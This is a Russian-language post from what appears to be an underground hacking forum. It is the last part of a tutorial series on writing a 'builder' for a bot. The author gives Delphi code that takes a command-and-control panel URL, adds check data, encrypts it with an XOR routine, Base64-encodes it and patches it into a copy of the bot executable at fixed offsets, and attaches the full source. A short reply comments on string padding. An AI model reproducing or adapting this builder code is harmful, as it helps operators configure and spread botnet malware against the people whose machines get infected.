• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пишем билдер.

Apocalypse

CPU register
Пользователь
Регистрация
28.06.2011
Сообщения
1 303
Реакции
1 434
Часть1
Часть2

Ну вот, отдохнув слегка, можно вернуться к нашему билдеру :P

В предыдущих темах мы разобрались с алгоритмами шифровки и валидации закодированных данных, теперь допишем завершающий код, который будет записывать нашу админку в бинариник бота.

В основе этого будет лежать:
- сборка строки с данными из 3-х URL для админок и проверочными данными
- шифрование
- кодирование Base64

Для шифрования используется функция:
Код:
function Encrypt(const InString: string; StartKey, MultKey, AddKey: Integer):
  string;
var
  I: Byte;
  // Если поменять тип переменной I на Integer, то будет возможно
  // шифрование текста длиной более 255 символом - VID.
begin
  Result := '';
  for I := 1 to Length(InString) do
  begin
    Result := Result + CHAR(Byte(InString[I]) xor (StartKey shr 8));
    StartKey := (Byte(Result[I]) + StartKey) * MultKey + AddKey;
  end;
end;

Ключи для шифровки были объявлены в предыдущей статье. Напишем следующий обработчик для кнопки Write:

- локальные переменные:
Код:
var
hFile,write,size: cardinal;
s: string;
data: array [1..$CB] of byte;

- обработчик:
Код:
if (Edit1.Text<>'') and (Length(Edit1.Text)<32) then
begin
CopyFile(fn,pchar(fn+'.exe'),false);
s:=Edit1.Text+'@1@'+Edit1.Text+'@2@'+Edit1.Text;
s:=ReverseString(s);
s:='1102.40.90@5@527065275@4@g8@3@'+s+'_@70y@00@r55%007_@@';
s:=Encode(Encrypt(s,StartKey,MultKey,AddKey));
size:=Length(s);
if size>$CB then exit;
FillChar(data,SizeOf(data),0);
Move(pointer(s)^,data,size);
hFile:=CreateFile(pChar(fn+'.exe'),GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,0);
        if (hFile<>INVALID_HANDLE_VALUE) then
        begin
        SetFilePointer(hFile,$4290,nil,FILE_BEGIN);
        WriteFile(hfile,size,4,write,nil);
        SetFilePointer(hFile,$4294,nil,FILE_BEGIN);
        WriteFile(hfile,data,SizeOf(data),write,nil);
        CloseHandle(hFile);
        if write=$CB then MessageBox(0,pchar('Check - '+fn+'.exe'),'Done',32);
        end;
end;

Данный код делает следующее:
- т.к пространство под данные у нас ограниченно, и чтобы не перезаписать другие данные учитываем ограничение размером $CB
- также следует учесть, что длина URL каждой админки тоже фиксированная, поэтому учитываем длину до 32 символов
- копируем исходный бинарник бота с новым именем
- собираем строку данных и переворачиваем, тут вместо трех разных админок я сделал одну, но изменить это не составит труда
- добавляем к строке проверочные данные, уже перевернутые
- шифруем и кодируем ;)
- считаем длину получившейся строки, и если она больше $CB (всякое бывает), то ничего дальше не делаем
- подготавливаем буфер данных и заполняем его нулями, это нужно, чтобы перезаписать все необходимые данные нашими данными
- перемещаем строку в буфер
- открываем скопированный файл на запись, устанавливаем указатель на 4 байта левее, это для того, чтобы записать длину строки, смещаемся обратно и записываем данные буфера
- если записанные данные соответствуют размеру $CB, то получаем "письмо счастья"

Ну вот и все, мы стали обладателями бота и билдера, практически бесплатно B)

В аттаче сорцы под Delphi 6 :yes2:
 

Вложения

  • damaga.zip
    3 КБ · Просмотры: 91
Trim используется видимо для того чтобы упихать в некий изначально заложенный буфер строку любого размера разбавленную по краям или с одного краю пробелами, то есть писатели тоже патчат свой собственный код похожим образом (как описано в этой статье).
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх